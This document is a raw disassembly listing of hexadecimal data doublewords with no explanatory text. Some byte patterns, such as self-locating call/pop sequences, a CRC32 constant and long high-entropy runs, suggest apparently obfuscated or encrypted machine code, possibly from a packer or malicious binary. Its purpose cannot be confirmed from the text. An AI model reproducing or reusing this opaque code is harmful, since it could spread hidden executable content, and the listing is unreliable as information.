		dd 0FFF8B70Fh, 0E721C195h, 9D895705h, 5E71BBDh,	0CFB58D5Bh
		dd 2905EDE1h, 0E70265BDh, 5206C705h, 666D6765h,	0FDA0E781h
		dd 6F0446C7h, 296C636Eh, 0E708C18Dh, 846C705h, 737361h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0B6C35747h
		dd 0C7EE931Dh, 0AED87105h, 89006AE7h, 0E7068995h, 0B59D2305h
		dd 8D05E707h, 0EDE1CF85h, 0CD958B05h, 5005E713h, 14E8h
		dd 0F0B87F00h, 15DF0FC9h, 0C28017BFh, 0F442AD17h, 0A99F2272h
		dd 14E978h, 0AB540000h,	5A1F77Ch, 628A6FABh, 3E2000EEh
		dd 7DE923F2h, 895B47C1h, 6A2404h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 0D5397FC3h, 965C41E3h
		dd 0FFD7B70Fh, 0E7022995h, 51006A05h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 92BFAA5Eh
		dd 26B2FC5Fh, 840FC00Bh, 35h, 0D129BA66h, 445E9h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 5D31E8E4h, 6850F6Dh,	89000000h, 0E724F99Dh, 0F6806805h
		dd 481F034h, 0CB0AAC24h, 57006A0Fh, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1C04h, 0C3574700h, 0B917BEFEh, 6B99F6AEh
		dd 0E6DA805Ah, 21C195FFh, 9D3105E7h, 5E713BDh, 0E1CFB58Dh
		dd 0AE905EDh, 7A000000h, 5256ABE6h, 0CD5499C9h,	0D3B7BBDDh
		dd 6C72820h, 36343831h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 0E6C35141h, 0DFF242CBh, 8B6631DEh, 518D0BF9h
		dd 0C705E72Bh, 2D370446h, 0B5893134h, 5E70369h,	846C7h
		dd 0F000000h, 6AD0B7h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 18h, 7C35747h, 0B9CEFEBEh,	14658589h, 8B6605E7h
		dd 0CF858DDEh, 6A05EDE1h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 5F22C353h, 2FF96FB0h
		dd 8B2618D3h, 0E7002D9Dh, 1DB50105h, 5005E71Dh,	0BF665250h
		dd 310FD846h, 0FE9h, 0E3033800h, 0CC89597h, 2864884Eh
		dd 0E6C55807h, 489585Ah, 51006A24h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1704h, 0C3514100h, 6078D046h, 0EE9h, 3AE4A800h
		dd 1CF20108h, 61541D51h, 89073F63h, 0E72C298Dh,	2995FF05h
		dd 2905E702h, 0E727DD95h, 0FC00B05h, 6484h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 0A0572732h, 89C7DFF1h, 0E72CC59Dh, 27CE905h,	6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 0C1860DC3h, 0ED9D8BBAh, 0E905E729h, 0Dh, 0F01C83A4h
		dd 0D5E8A88Dh, 3C863ECCh, 4E8B9h, 12C0000h, 8B660000h
		dd 0BE950DEh, 8F000000h, 5D259773h, 2A605B39h, 448B77F2h
		dd 32BA0424h, 8B7F49E0h, 24448900h, 158E0F04h, 0E8000000h
		dd 0Bh,	7F3C8C0Ch, 0EDD4375Fh, 6628BEA9h, 5B6EDEBAh, 89952358h
		dd 8905E721h, 0E7024DBDh, 0C195FF05h, 6A05E721h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 0D791C355h, 0DC7DF2A8h, 60601EBCh, 1965B58Bh, 0AE905E7h
		dd 54000000h, 41CF2579h, 1207C290h, 95896108h, 5E71575h
		dd 89BD8961h, 8D05E725h, 0EDE1CFB5h, 37DB8005h,	694606C7h
		dd 6A656Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
		dd 55450000h, 8A3637C3h, 88509F13h, 0C7307EC6h,	6F6D0446h
		dd 6A636Eh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 0B6BF8C3h, 28A0FDBh, 8B000000h, 846C7DEh
		dd 7373616Ch, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 19h,	0E0C35343h, 96A7E4F3h, 0C46C71Dh, 0
		dd 10E8h, 7DF40300h, 0B6E394BEh, 0C7EE931Dh, 0AED87105h
		dd 59CF8BE7h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 0C6DA0C3h, 0BCD9C67Dh, 8E965h, 0C84B0000h
		dd 0EF0EA292h, 858D3164h, 5EDE1CFh, 0DEB70F50h,	0BB66905Ah
		dd 0B95053AFh, 73ECF3CCh, 659D8990h, 0FF05E732h, 0E7022995h
		dd 24DA8105h, 0B416158h, 64840FC0h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 8BD9C355h, 0FC2CD996h, 624BFD51h, 71BD8B60h,	0F05E72Bh
		dd 689h, 0E5958B00h, 6105E715h,	59E9h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h
		dd 0C1B5092Bh, 6605E727h, 0E9F1E3BFh, 0FFFFFA4Bh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 44C35242h, 3005241Bh
		dd 9AD6F2E3h, 0F552601Dh, 0F8BE665Eh, 0B58D6113h, 5E772CAh
		dd 1A45BD29h, 0B805E7h,	66000000h, 0E6FFCF8Bh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 1C35646h, 0C60D59DBh
		dd 0FB522869h, 68D0F8Dh, 31000000h, 0E71AB9BDh,	5E805h
		dd 36730000h, 0F5944ADEh, 14E85Bh, 23860000h, 0D630F9Dh
		dd 0D4BF5C38h, 2955A615h, 0D5D921A5h, 8D8B6E03h, 5E72EB5h
		dd 8DC18B5Bh, 0E70BA59Dh, 1434B805h, 85890000h,	5E705FDh
		dd 0E8h, 0D055800h, 89000000h, 1434E903h, 13h dup(0)
dword_5AD588	dd 4FAh	dup(0)		; DATA XREF: sub_542C3C+22308o
		dd 11E80000h, 11000000h, 630A1F44h, 0B783ADDEh,	0FC8F39E9h
		dd 1DC7362Ah, 29659589h, 895805E7h, 0E71D4DB5h,	29C08105h
		dd 66000068h, 0AB5E981h, 0CDD1EEBBh, 0FEB817Ah,	8B7ACDB8h
		dd 0E709AD8Dh, 9388B05h, 0E72D6D85h, 0D3EF8105h, 0E8569803h
		dd 11h,	526BD180h, 616EE34Ch, 3A5ADD35h, 0E137422Eh, 0FD8D2BAEh
		dd 5E05E713h, 0F426EF81h, 0F7815625h, 5C752EC5h, 40ABA52h
		dd 575A40C0h, 8FC88B66h, 0EE900h, 0D5E30000h, 7E557D15h
		dd 0D7550CC5h, 0CEBFF64Ch, 0B432E881h, 81F93881h, 81B42EC0h
		dd 0D9FCBE38h, 0EB811EB1h, 1, 0FF8B850Fh, 24B5FFFFh, 3BE9h
		dd 0BD8B6000h, 5E71985h, 3304EF83h, 0BBC18BC9h,	0EDB88320h
		dd 0BE04C783h, 8, 0D21BE8D1h, 0C233D323h, 0F1850F4Eh, 41FFFFFFh
		dd 0F9810789h, 100h, 0FFD3820Fh, 0C361FFFFh, 2AE9C88Bh
		dd 0C7000000h, 2404h, 0E80000h,	5D000000h, 0FED6ED81h
		dd 448B05EDh, 85890424h, 5E71CA9h, 0B8h, 248D8D00h, 0FF05E74Dh
		dd 6754B8E1h, 0ED550000h, 7A5E75FDh, 69A476F6h,	49BC56E6h
		dd 2025B9FDh, 200B1FFDh, 201C5CFDh, 2095B2FDh, 2050ACFDh
		dd 20B29AFDh, 20C263FDh, 207A40FDh, 20263FFDh, 200B7AFDh
		dd 201C33FDh, 209794FDh, 2051F1FDh, 20B3D6FDh, 20C2B3FDh
		dd 20787FFDh, 2025C3FDh, 8A259DFDh, 0A2229535h,	714A76D6h
		dd 4BBD5CDEh, 7A5A5CF4h, 722775FDh, 799775F5h, 78CB74FDh
		dd 7DED73FDh, 7BF374F5h, 7B7874FCh, 7ABC75FCh, 7A5E75FDh
		dd 235676FDh, 233E75A7h, 7ACB75A7h, 7BE475FDh, 7BF374FCh
		dd 0B29074FCh, 1ABC75F8h, 794FF070h, 0FFA67013h, 7F7A8AB5h
		dd 79ECF070h, 0FF6C7013h, 7F1F8AF5h, 791CF070h,	0FF357013h
		dd 7FB38AB9h, 78EAF070h, 0FF1E7013h, 7F268AF1h,	7861F070h
		dd 0FF7B7013h, 7F948AEDh, 7B9EF070h, 0FFD77013h, 7FC28AE9h
		dd 7BA3F070h, 0FF427013h, 7F088AE5h, 7BB8F070h,	0FFF07013h
		dd 7F518AE1h, 7BFBF070h, 0FFA67013h, 7F7A8AD5h,	7BBAF070h
		dd 0FF6C7013h, 7F1F8ADDh, 7BE9F070h, 0FF357013h, 7FB38AD9h
		dd 7B8AF070h, 0FF1E7013h, 7F268AD5h, 7B3AF070h,	0FF7B7013h
		dd 7F948AC5h, 7B42F070h, 0FFD77013h, 7FC28AC1h,	78B6F070h
		dd 0FF427013h, 7F088ABDh, 7898F070h, 0FFF07013h, 7F518AD1h
		dd 78FFF070h, 0FFA67013h, 7F7A8ACDh, 79F7F070h,	0FF6C7013h
		dd 7F1F8AC9h, 5A20F076h, 0FF35701Ah, 7FB38A7Ch,	6E0AF076h
		dd 0FF1E701Ah, 7F268A78h, 0F1B0B69Ch, 7AF29D11h, 0FB2375FDh
		dd 94BCE017h, 3FD525F8h, 0FAADFDF5h, 22929802h,	7ACFB734h
		dd 29B723ACh, 7A1A20ADh, 277975FDh, 7A0A987Ch, 0FFA07013h
		dd 7FC28AFAh, 8590C87Dh, 9CF7010h, 75E4C5B4h, 0BAF9B54Bh
		dd 0EF863589h, 7F518A78h, 2B96FEBDh, 7A2F7A45h,	0FF028AFDh
		dd 0F7CE9802h, 971A7D48h, 0FCC6F8F8h, 7E4B9D50h, 6FCF75FDh
		dd 7A5E7645h, 0FFBA8AFDh, 0F7929802h, 97347D48h, 0FCD1F8F8h
		dd 23228A50h, 0F787BC1Fh, 7F518AFAh, 20052DA0h,	92EC2CA3h
		dd 7A97776Dh, 79C1CD4Dh, 0FB708A57h, 0D1F79802h, 78079D3Eh
		dd 0C2DA75FDh, 5954CD9Bh, 0EFD0DE9Bh, 7F7A8A7Ch, 9208DE9Bh
		dd 7AE57795h, 72F3360Bh, 0EF866E88h, 7F518A7Ch,	7954C54Dh
		dd 0FBBA8AADh, 20929802h, 7E2BF69Bh, 1C277E9Bh,	6B1AB656h
		dd 297975FFh, 7ABE4E15h, 0A0652FFDh, 59A57B89h,	7094913Dh
		dd 0BA07F5DFh, 0D183FE4Dh, 7B009D3Eh, 922A75FDh, 7ABC77E1h
		dd 0E844EA7h, 0D049C512h, 0A77FA916h, 8CCB75FCh, 0FED74BEh
		dd 7B1A26D3h, 207975FFh, 72BD360Bh, 0A0655488h,	59A56889h
		dd 7094913Dh, 0BA07F5DFh, 85B5FF4Dh, 970DF468h,	5F1F2FF8h
		dd 71DA51FDh, 0B9F5133Fh, 9285E94Dh, 7A9774BDh,	9261F44Dh
		dd 7AE57435h, 7AF22D15h, 5791DEFDh, 0CABC75FCh,	0CA9DDF60h
		dd 5BC7DF61h, 1C9775FCh, 1C4A1345h, 7B439D56h, 4C1A75FDh
		dd 1C7975FDh, 7BB69D56h, 0E7EE75FDh, 0E69FB657h, 7A699D57h
		dd 0F32375FDh, 8CE575FCh, 0FFA74BEh, 0D0F9C5F2h, 7ABC6515h
		dd 9EDEDFFDh, 84487DF9h, 7A97AA15h, 0D056C5FDh,	7AE2CD3Eh
		dd 0EF0D75FDh, 7F948A78h, 85F0C070h, 8A5D7010h,	0D02C7F51h
		dd 8516E002h, 92087010h, 7AE574E5h, 79F8254Dh, 844B9D57h
		dd 43548A02h, 0CA5E75FCh, 0D02C7FA5h, 0D0C7C53Eh, 9261274Dh
		dd 851A8BE1h, 4BFDCD9Bh, 6B91DE9Bh, 0CA438A03h,	22EEDFA7h
		dd 929FB657h, 923C2257h, 7ACB750Ch, 5122FEA7h, 7E1AF63Fh
		dd 8B917774h, 92438A00h, 7A5E7505h, 79252D4Dh, 0FF69B657h
		dd 7F268B03h, 841BC87Dh, 0FF37010h, 0AFCF8ECh, 2AB99802h
		dd 7A5C6115h, 781B9DFDh, 1A2775FDh, 87759D57h, 0C30D8A02h
		dd 0CA0D8A00h, 0F787DF9Ch, 7F518B03h, 84A0C87Dh, 0F2F7010h
		dd 0A12F8F1h, 2ACE9802h, 7AE4DE15h, 7E4AB6FDh, 857975FDh
		dd 9743F068h, 0B7C3F8F8h, 0F02A9BFEh, 0B93D6DF9h, 2D619C4Dh
		dd 7A8E9D56h, 0F1A875FDh, 0F9BB5E3Ah, 78357115h, 0FBCB8A3Eh
		dd 0CE2A9802h, 0E96514Ah, 0CA74C1FFh, 924E13F2h, 7AF275C9h
		dd 7A279DAEh, 0F0E675FDh, 79BEB5FEh, 7825B5F1h,	0EF68B657h
		dd 7F268A7Ch, 0FAEA917Dh, 7542F539h, 0D12EDE9Bh, 85415A15h
		dd 0BDD52F02h, 92ACB7D6h, 0B995FCF9h, 7ACB7345h, 0FF708AFDh
		dd 0F7F79802h, 97861160h, 39A0F8F8h, 7A4ECD3Eh,	0EFD075FDh
		dd 7F7A8A78h, 0F1CEB57Eh, 0EF1A8935h, 7F1F8A7Ch, 0B98E9757h
		dd 8543BE15h, 7B1DFF02h, 8E5A72D9h, 6C7F7677h, 8CB75FCh
		dd 831DB616h, 0F1A78908h, 86BDF611h, 7ABC9D9Dh,	0FB0475FDh
		dd 942CA817h, 86EAFCF8h, 854BCF7Dh, 75E57010h, 7AF2EC79h
		dd 7A73CDFDh, 0E84375FDh, 7FB38A78h, 0F3ADFCBDh, 0F1929802h
		dd 0CB79F835h, 85E09BF9h, 970DF46Fh, 3C7FFDF8h,	6D04801Fh
		dd 795E75FDh, 97D0FC7Fh, 0E01A35F8h, 7F257158h,	0F3E1B67Eh
		dd 644B22FEh, 797975FDh, 9743FC77h, 0E9ECF8F8h,	892A9BF9h
		dd 722F2B59h, 85CB75FDh, 971AF06Fh, 7E0AF6F8h, 7C718589h
		dd 7ABC7244h, 4B5A7DFDh, 0BBF7C3F2h, 742E761Eh,	72CB75FDh
		dd 765C44E1h, 72F275FDh, 61C044F9h, 72BC75FDh, 66E744F9h
		dd 722F75FDh, 5B7F44F9h, 0F3348A01h, 0F1848980h, 0B93B8980h
		dd 7A7F9DADh, 229C75FDh, 8E7A1102h, 5E6BFCA5h, 3E16E905h
		dd 2CB389D9h, 3A7867C9h, 7AF2B6ADh, 7A7975FDh, 7ABC75FDh
		dd 1AB2FEA8h, 7A2F7515h, 90162FFDh, 7F257139h, 8568CF70h
		dd 0F797010h, 7A71CCF5h, 0DE4F75FDh, 7E9CBC9Ch,	0E7A226FDh
		dd 7F7A8A70h, 7BD3497Dh, 83BE7188h, 82A97716h, 96F2203Eh
		dd 7ABC9D9Dh, 0FB0475FDh, 942B8817h, 0F725F8F8h, 0F1CE9802h
		dd 725C7D80h, 89F275FDh, 0B8B01459h, 0F7DC75F9h, 97A1F840h
		dd 0C3EF46F8h, 7A9775F5h, 0B9AADF0Eh, 0F758F89Dh, 0FBF79802h
		dd 7B7874C2h, 0FBB000FCh, 7B5F7182h, 795A74FCh,	82969E04h
		dd 0F7ABB69Ch, 971AF840h, 7AF3CDF8h, 72C075FDh,	89BC75FDh
		dd 0F19D1457h, 0F7EFFE3Dh, 9768EF78h, 8BD08AF8h, 0CCE9CAh
		dd 0AD370000h, 7486D66Ch, 16CF1FB5h, 0E31D6D03h, 9368B84Eh
		dd 7EE70096h, 0F389A05Bh, 40D65BA3h, 8A2011F0h,	0D66CC53Ah
		dd 17FBE801h, 9F5A7FD9h, 3AC634B9h, 70F89CA9h, 1F857647h
		dd 6D9331D2h, 0BF80DC4h, 54925527h, 0C86997AFh,	457DE37Bh
		dd 0ADBB2453h, 26E6AB6Eh, 0C954D425h
		dd 5516DFA1h, 55362644h, 490F2155h, 84563D96h, 46523623h
		dd 0CDA5559h, 16A06EA6h, 3000000h, 0D9BDAABFh, 615491D3h
		dd 9AE15B93h, 7E1B8E88h, 0F8308012h, 0FB1EC6E7h, 0FE33CCAEh
		dd 0FF32CFB1h, 32ED0B2h, 227D4B6h, 128D3B5h, 32ED2B4h
		dd 811D4B6h, 821D9BBh, 71686FBBh, 0E905EE05h, 0FFF97A5Fh
		dd 0C4C50617h, 0F4F167BDh, 236D813Bh, 25B80C12h, 305EE06h
		dd 0D404EBC5h, 0E937AB71h, 0DACh, 0EE085668h, 7A35E905h
		dd 7F68FFF9h, 0E905EE09h, 0FFF97A2Bh, 0EE0A4368h, 7A21E905h
		dd 0F868FFF9h, 0E905EE0Ah, 0FFF97A17h, 0EE0E2768h, 7A0DE905h
		dd 4968FFF9h, 0E905EE11h, 0FFF97A03h, 0EE125968h, 79F9E905h
		dd 895BFFF9h, 50AAFA90h, 0F2F343D9h, 0BF419127h, 6F8CDC72h
		dd 0A20B24BAh, 17AD7C7Fh, 64FA37C7h, 0AE44ED14h, 0FA90A15Eh
		dd 3B1F0C25h, 0C35A7FDAh, 35C658DDh, 0A9BEA7F4h, 91D3D8BCh
		dd 5A926054h, 0E87EB34Eh, 0AC63D5FEh, 76D7E0BFh, 45926051h
		dd 78D7A484h, 0A3393F5Ah, 9BFC0EB8h, 20EF40h, 2C9A0000h
		dd 0EDDA91FBh, 5176CC16h, 0BA7BC896h, 5A78EBDAh, 0EE996F75h
		dd 409BE444h, 1125h, 0AABFD000h, 91D3D9BDh, 5B936154h
		dd 8F78Dh, 39C6F000h, 0B4C2ABF8h, 0FF97E44Dh, 0ED44BBC7h
		dd 0D23A6D57h, 0DFCF2E1Bh, 814F5176h, 0B3A0B5CAh, 5A78DFCFh
		dd 16FA8957h, 9E5A78E0h, 2EEF98D0h, 5A78DF4Eh, 0B2FF2AD0h
		dd 2DE859CCh, 85353717h, 9D946D7Ah, 0F745EA37h,	0FF059CE1h
		dd 38D47EE9h, 614409Bh,	8DFF37FAh, 3Bh,	40FB2C38h, 1461C832h
		dd 0D409ED7Ch, 0C3915491h, 0F2B9A65Dh, 6D5176FBh, 0EFD51F5Bh
		dd 8E3E4C1Ch, 0DC74C170h, 7BC896A4h, 798EDABAh,	996F755Ah
		dd 9B4744EEh, 0EA2540h,	0C6D00000h, 0C2ABF839h,	37F59BADh
		dd 0C9C48B89h, 9206563Ah, 0D810DE54h, 0ADFA2FCCh, 4CB334CBh
		dd 50327FE5h, 0B6CB82AFh, 9206E5C9h, 679F6D54h,	0AC64675h
		dd 37C85492h, 0EB1464FAh, 4A7DF946h, 8162BE2h, 57EF3CDDh
		dd 0F49341Fh, 83515177h, 1CA5B7CCh, 0C2DAF0C0h,	88569F8h
		dd 3F0D5A79h, 0F82B1507h, 9FECD990h, 1A575F9Dh,	0D6992608h
		dd 33ECE518h, 0D75D11EAh, 41F56Ah, 36B5F4B1h, 83515F97h
		dd 0EC3DBECCh, 0FF1FF56h, 53DD522h, 32702F9h, 0DF06BB56h
		dd 101DC19Eh, 1C00000Bh, 6BBB51C8h, 0B4049A8Fh,	252E831h
		dd 4D9D33FEh, 0CCE57BAEh, 6EBB4063h, 0BB7688D8h, 52CD525h
		dd 51E01F6Fh, 0E0CDE6BBh, 5A7FDBFCh, 0BF199E84h, 32E24FB1h
		dd 222E66B3h, 6ABA50D9h, 85AC5295h, 0A43AA038h,	6EBB3F4Dh
		dd 40518921h, 0DA91FB2Ch, 76FC26EDh, 8BD8A651h,	78FBEACAh
		dd 697F855Ah, 9BD454FEh, 0FF3540h, 0C6E00000h, 0D6BAA739h
		dd 5E5491D3h, 65732A90h, 7BAE4D9Ah, 0E330962Eh,	9DE1E9FDh
		dd 0DD439101h, 0E11AFCA5h, 0E12E03FEh, 3A270BF8h, 0E1AF5492h
		dd 505E157Bh, 6EAB3A95h, 6C238921h, 92399B7Fh, 1D552354h
		dd 89768B74h, 549239A5h, 3C275F2Dh, 54923DBCh, 0F7A241BEh
		dd 0B3FC87FAh, 5FD22EDEh, 0EC1363F9h, 4B7CF845h, 847B6897h
		dd 564C7832h, 0BC2288Eh, 7779331Eh, 0B66D3B51h,	79D0B4A1h
		dd 40585A79h, 89216EBBh, 0FF9EB23h, 0D0BD74E4h,	57600972h
		dd 5F6D24F2h, 0C8D68D9Ch, 0EC47FB36h, 0D67DA05Ah, 0DE35275Fh
		dd 0F4F8DCC9h, 0B2806062h, 9C8D6E7Ah, 65AEB78h,	0FEA27FDFh
		dd 9E7h, 0E47A9F45h, 2DC36694h,	7B1108DDh, 0C65CD52Bh
		dd 0EA48576h, 92698CF5h, 4DB10197h, 3FE4EE4h, 0B748982Eh
		dd 0F60FE47Ah, 7FDD2509h, 42C7AD5Ah, 0B6A335C6h, 5491D3D2h
		dd 90268C5Ah, 0DC72BF40h, 0F839C687h, 67A92F41h, 3553175Dh
		dd 66B37685h, 4ED96CEh,	0EF270AF6h, 7F151CE3h, 6192BCC0h
		dd 105340F7h, 98517786h, 53DC5DCAh, 0C3033CBAh,	5C712890h
		dd 577FA74Ah, 948108F0h, 43FD2B0h, 0CC046A38h, 24F7FEE1h
		dd 6BB88601h, 1603C4EFh, 0A26FE32h, 0D55CA2BAh,	248AF088h
		dd 91A05F6Dh, 6174AC44h, 10D93574h, 639DB507h, 83E981CEh
		dd 0F041BECCh, 3CF50A5Ah, 57D55518h, 54F8D52Fh,	923h, 0A83EDB09h
		dd 0F187A258h, 3FD544A1h, 8A2011EFh, 0D268C13Ah, 0CE2D50B9h
		dd 8975C55Bh, 3FC212A8h, 0F30C5CF2h, 0BAD3A83Eh, 7FDDE9CDh
		dd 68B715Ah, 4CAE39C6h,	0AEC077DDh, 6E63E093h, 19B86C2Eh
		dd 5482ED85h, 63DF88C0h, 2411C830h, 51777D01h, 76843B09h
		dd 0B910A68Bh, 7FD3B7A4h, 8D5B5A79h, 79B84955h,	9D4AB4C2h
		dd 0B269CF62h, 797FE1C5h, 639B695Ah, 8015F9BAh,	0E0C05A79h
		dd 0C85A796Fh, 61762D9Fh, 5DE3A94Fh, 8EC66984h,	5E5E88A3h
		dd 75C29057h, 0A68A778Ch, 2E606084h, 0E31C2860h, 852C10FDh
		dd 0E6B46060h, 0CB1B5C80h, 8A67DF08h, 86EE6h, 0F326BE00h
		dd 3CED0D5Dh, 8A8F56A6h, 0D55CA4F4h, 1D0CEF3Fh,	0E2056E87h
		dd 2A7A1019h, 77C75DD4h, 0C111A78Ah, 885DF33Eh,	0DD9E826Fh
		dd 40265A7Fh, 47FB2CBBh, 5B1278B9h, 69C83846h, 53BFA3B5h
		dd 7DB56E97h, 77597792h, 9A677F51h, 4CB24A97h, 0BB5E8795h
		dd 2F8DA83h, 0B9419127h, 7EA72370h, 0BA66530Ah,	3D5A797Fh
		dd 0E6A0162Bh, 4078485Ah, 72176432h, 2879C3D5h,	8C6D4E0Dh
		dd 0EB7A9054h, 55841A0Fh, 5A796D75h, 9C0285Dh, 796E641Ch
		dd 8016E45Ah, 0A85FCA30h, 6EC2A693h, 7C4A5A79h,	0D47E20C8h
		dd 0E9215D23h, 7E177F40h, 8565A79h, 929763F2h, 0DB4EACFCh
		dd 7EBDCD8Eh, 3BBF5A79h, 40BFA1EEh, 0B1FFA4F1h,	95E3565Bh
		dd 1F0AF047h, 301D3289h, 5A797E4Ch, 28CE06D4h, 24BF41FDh
		dd 0D1182264h, 278DF38Ah, 50A48370h, 56245A79h,	34514809h
		dd 666C26D8h, 193BE590h, 0B61C3F34h, 0C5000001h, 0BCDFC3B0h
		dd 765CEDAh, 760DF782h,	97CF9D4Fh, 0BDAABF86h, 5491D3D9h
		dd 0B55B9361h, 130D082h, 956C1CB4h, 51B74F9Ch, 0CD5AAD9Ah
		dd 14E25176h, 81B04F5Dh, 518294EBh, 513522B6h, 0D95A7914h
		dd 4460570Bh, 0E11E2A62h, 0C1A0350h, 1A053DF4h,	0D9BF2C1Ch
		dd 3EBDCB4Eh, 0C0EBCC9Dh, 0E74DFF0Fh, 0E742B89Ah, 77854981h
		dd 7C121FE0h, 115ED32Ch, 4CE51A28h, 4AB767FFh, 0DC09AFE7h
		dd 0ED53DE22h, 0EAF90757h, 13169D66h, 0FF3E0B9h, 97E1C022h
		dd 0B0FD63C9h, 6A0031CEh, 0FF4CE51Ah, 49B4B03Eh, 0E54CB2B3h
		dd 0E849B698h, 52A8F69Bh, 3C4ACD4Dh, 8B2370A9h,	0EA798F53h
		dd 36861C15h, 18041AC9h, 6C136EF8h, 0C2D0B906h,	15BBF33Eh
		dd 0D4C178E0h, 544BB7F0h, 969B6573h, 0FD01B149h, 0CFEEFC34h
		dd 0A5F23FC1h, 0B79A7E0Dh, 5422544Bh, 8BD841A4h, 0A7F78DF3h
		dd 0C88D554h, 0AAB86FD9h, 8FA2DA57h, 4BB7CAA2h,	0CA374554h
		dd 0C7381A67h, 0BECC046Ah, 0F50A5AF0h, 0EC73853Ch, 7C58A04Eh
		dd 0B799427Ah, 0F398E544h, 0FF0057A5h, 0B34C9C32h, 3348317Eh
		dd 4B5E6246h, 6C1CEA54h, 0BD639B8Eh, 7C692088h,	544B5EA0h
		dd 381C0928h, 0C0544B5Fh, 0C7D58CF2h, 11A9F633h, 6897E7D9h
		dd 10FD12C9h, 544B5F2Ch, 5AEE6B4h, 653DE23h, 4BAFBD68h
		dd 14E2A6DEh, 0D96FC23Dh, 5C6A7689h, 17FB8A9Fh,	9F544B5Fh
		dd 0A21E6BD1h, 394E0573h, 125FBA2Bh, 8757427Ah,	7544B5Eh
		dd 0F708239h, 950DFF39h, 0D525174Fh, 3CB8052Ch,	0FBE89F09h
		dd 544B3627h, 0C56497AFh, 0E47AE078h, 0F839C68Fh, 0DD4F7862h
		dd 47E21826h, 0D9E7FC0Fh, 27BF0C25h, 0DA8904EFh, 0C3915176h
		dd 2E03FE0Ch, 78B94898h, 0CA84AF2Bh, 0CBADFA37h, 1AB2FF1Ah
		dd 82974EB4h, 0C6A03670h, 7CB43B96h, 5EA66E91h,	0F1A87657h
		dd 0DB131EE3h, 98917132h, 4E796060h, 1F3A27DEh,	275D45A5h
		dd 0D52A0C59h, 0F946D312h, 0E349E817h, 423CB22Fh, 96F476Dh
		dd 21CB9CE5h, 7317F4D9h, 53Fh, 8C22F7EDh, 0D56BBE3Ch, 23B96085h
		dd 6E042DD3h, 0B64CDD1Eh, 0EA11349Dh, 0A559A93Fh, 5BA6F68Ch
		dd 0FF040D6h, 9EB78C22h, 7FE1CDB1h, 0EA6F555Ah,	0DA91FB2Ch
		dd 76F992EDh, 0FF4C1A51h, 0D9B80416h, 7F305D4Ch, 0B1FE2BCFh
		dd 17F6E119h, 0B25A799Bh, 812B5EACh, 0C1409B3Fh, 4BDABBAFh
		dd 6AA20AA0h, 0D9F8h, 37E7A300h, 0B95491D4h, 0C437E742h
		dd 1A801865h, 0CE2D3B76h, 0A278A75Bh, 57F6750Ch, 0FBEC131Fh
		dd 12C92FEAh, 319D5D00h, 33BE819h, 3FE32711h, 0F1DED02Dh
		dd 5491FB0Dh, 3F13C795h, 0B71D9Eh, 0D24DDEBh, 5F028C0h
		dd 54923D29h, 1A2CE3B1h, 2CCE483Ah, 0B72249FDh,	5D3FE820h
		dd 8AA641A2h, 26AC2456h, 8402AC0h, 2602EFA6h, 0AE54922Fh
		dd 60C66B96h, 63CE3113h, 0FFAFE3CDh, 0F8E12EFBh, 922F270Bh
		dd 7BE1AF54h, 3B495E15h, 851D6ABFh, 922F12F6h, 94CC9A54h
		dd 325A6C81h, 301DC2DAh, 5C1C073Fh, 0D754929Bh,	0ACF938C9h
		dd 98816414h, 37845260h, 925B9676h, 0AAB85554h,	0C26F8F50h
		dd 2A77DD75h, 40965A92h, 6BD3357h, 92DC5919h, 750BD954h
		dd 0B763h, 0FB2CC600h, 0D2EDDA91h, 0DA5176C0h, 0C8D6BF0Ch
		dd 0B4C0F839h, 6751E74Ah, 2A17CE22h, 5A78E752h,	0FEBDB6D2h
		dd 0E070E251h, 36C2D7Ah, 26B155B4h, 0F59FCA20h,	35409B7Fh
		dd 225AD727h, 77B0h, 0E52C5B00h, 0B9C7DC93h, 59DEA47h
		dd 3986AB55h, 9A7E69A1h, 1D5491D3h, 0D4371B08h,	24C15491h
		dd 3D7543F5h, 3214612Fh, 0E5CF65CCh, 83954CACh,	8E6DEB99h
		dd 8194CCA4h, 92268494h, 0B06D7F54h, 4F1C443Bh,	2AF8063Eh
		dd 4C3C1CDDh, 0ADFB5492h, 0EF3015Fh, 0C45EB23h,	1AE7F5ACh
		dd 0CBF5D9C6h, 0AF7D5492h, 0C7629949h, 7F8F7C8Fh, 7F5492CBh
		dd 0B6C41BB1h, 0A0B1E948h, 0ABF839C6h, 0A9AD36C9h, 896D5AC9h
		dd 11549211h, 50328F43h, 0E1F3AA10h, 9A3D1E49h,	0DD08B8A0h
		dd 1F57EF3Ch, 38C8D62Dh, 0E81BC1F9h, 0A6B4C980h, 0B19CD455h
		dd 51773752h, 0F6B704D2h, 5A793816h, 2A5DABB1h,	409B9C80h
		dd 3B61h, 0FB2C0C00h, 35CCDA91h, 80E633B2h, 12203548h
		dd 11F744EDh, 0F990C0FCh, 3D75DB9Ah, 77688B52h,	0F03D0B51h
